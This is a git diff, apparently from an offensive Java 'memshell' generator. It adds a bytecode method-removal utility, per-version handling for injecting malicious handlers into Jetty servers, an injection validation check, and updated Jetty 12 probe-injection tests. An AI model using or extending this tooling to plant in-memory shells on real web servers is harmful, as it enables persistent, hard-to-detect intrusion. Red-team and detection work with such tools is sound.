diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java index 8275d8f1..d47e8cdf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator.processors; import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.asm.ClassSuperClassUtils; +import com.reajason.javaweb.asm.MethodUtils; import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; @@ -31,13 +32,23 @@ public class JettyHandlerPostProcessor implements Processor { switch (serverVersion) { case "6": superClassName = "org/mortbay/jetty/handler/AbstractHandler"; + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"); bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty"); break; case "7+": superClassName = "org/eclipse/jetty/server/handler/AbstractHandler"; + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V"); break; case "12": superClassName = "org/eclipse/jetty/server/Handler$Abstract"; + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"); + bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V"); break; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java index 733a3428..c0d44bdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java @@ -59,6 +59,7 @@ public class JettyHandlerInjector { if (handler.getClass().isAssignableFrom(nextHandler.getClass())) { return; } + validateHandler(handler); setFieldValue(handler, "nextHandler", nextHandler); setFieldValue(handler, "_server", server); @@ -77,6 +78,20 @@ public class JettyHandlerInjector { } } + public void validateHandler(Object shell) throws Exception { + Class handlerClass = shell.getClass().getSuperclass(); + Method rightHandleMethod = null; + for (Method method : handlerClass.getMethods()) { + if (method.getName().equals("handle")) { + rightHandleMethod = method; + } + } + shell.getClass().getMethod( + "handle", + rightHandleMethod.getParameterTypes() + ); + } + @Override public String toString() { return msg; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index 7f4aa3f4..055f0a76 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -85,6 +85,6 @@ public class Jetty12ee10ContainerTest { ShellType.JAKARTA_HANDLER}) void testProbeInject(String shellType) { String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java index f096dbf3..038ea252 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java @@ -86,6 +86,6 @@ public class Jetty12ee11ContainerTest { ShellType.JAKARTA_HANDLER}) void testProbeInject(String shellType) { String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 3d326d08..354196dc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -83,6 +83,6 @@ public class Jetty12ee8ContainerTest { ShellType.HANDLER,}) void testProbeInject(String shellType) { String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index e2a84af3..c5253b22 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -85,6 +85,6 @@ public class Jetty12ee9ContainerTest { ShellType.JAKARTA_HANDLER}) void testProbeInject(String shellType) { String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/MethodUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/MethodUtils.java new file mode 100644 index 00000000..10c5ec76 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/MethodUtils.java @@ -0,0 +1,57 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.*; + +/** + * @author ReaJason + * @since 2025/12/7 + */ +public class MethodUtils { + + public static byte[] removeMethod(byte[] bytes, String methodName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(0); + RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName); + cr.accept(adapter, 0); + return cw.toByteArray(); + } + + public static byte[] removeMethodByMethodDescriptor(byte[] bytes, String methodName, String methodDescriptor) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(0); + RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName, methodDescriptor); + cr.accept(adapter, 0); + return cw.toByteArray(); + } + + static class RemoveMethodAdapter extends ClassVisitor { + private String methodName; + private String methodDescriptor; + + public RemoveMethodAdapter(ClassVisitor cv, String methodName) { + super(Opcodes.ASM9, cv); + this.methodName = methodName; + } + + public RemoveMethodAdapter(ClassVisitor cv, String methodName, String methodDescriptor) { + super(Opcodes.ASM9, cv); + this.methodName = methodName; + this.methodDescriptor = methodDescriptor; + } + + @Override + public MethodVisitor visitMethod( + int access, String name, String descriptor, + String signature, String[] exceptions) { + if (methodDescriptor != null) { + if (methodDescriptor.equals(descriptor) && methodName.equals(name)) { + return null; + } + } else if (methodName.equals(name)) { + return null; + } + return super.visitMethod(access, name, descriptor, signature, exceptions); + } + } + +}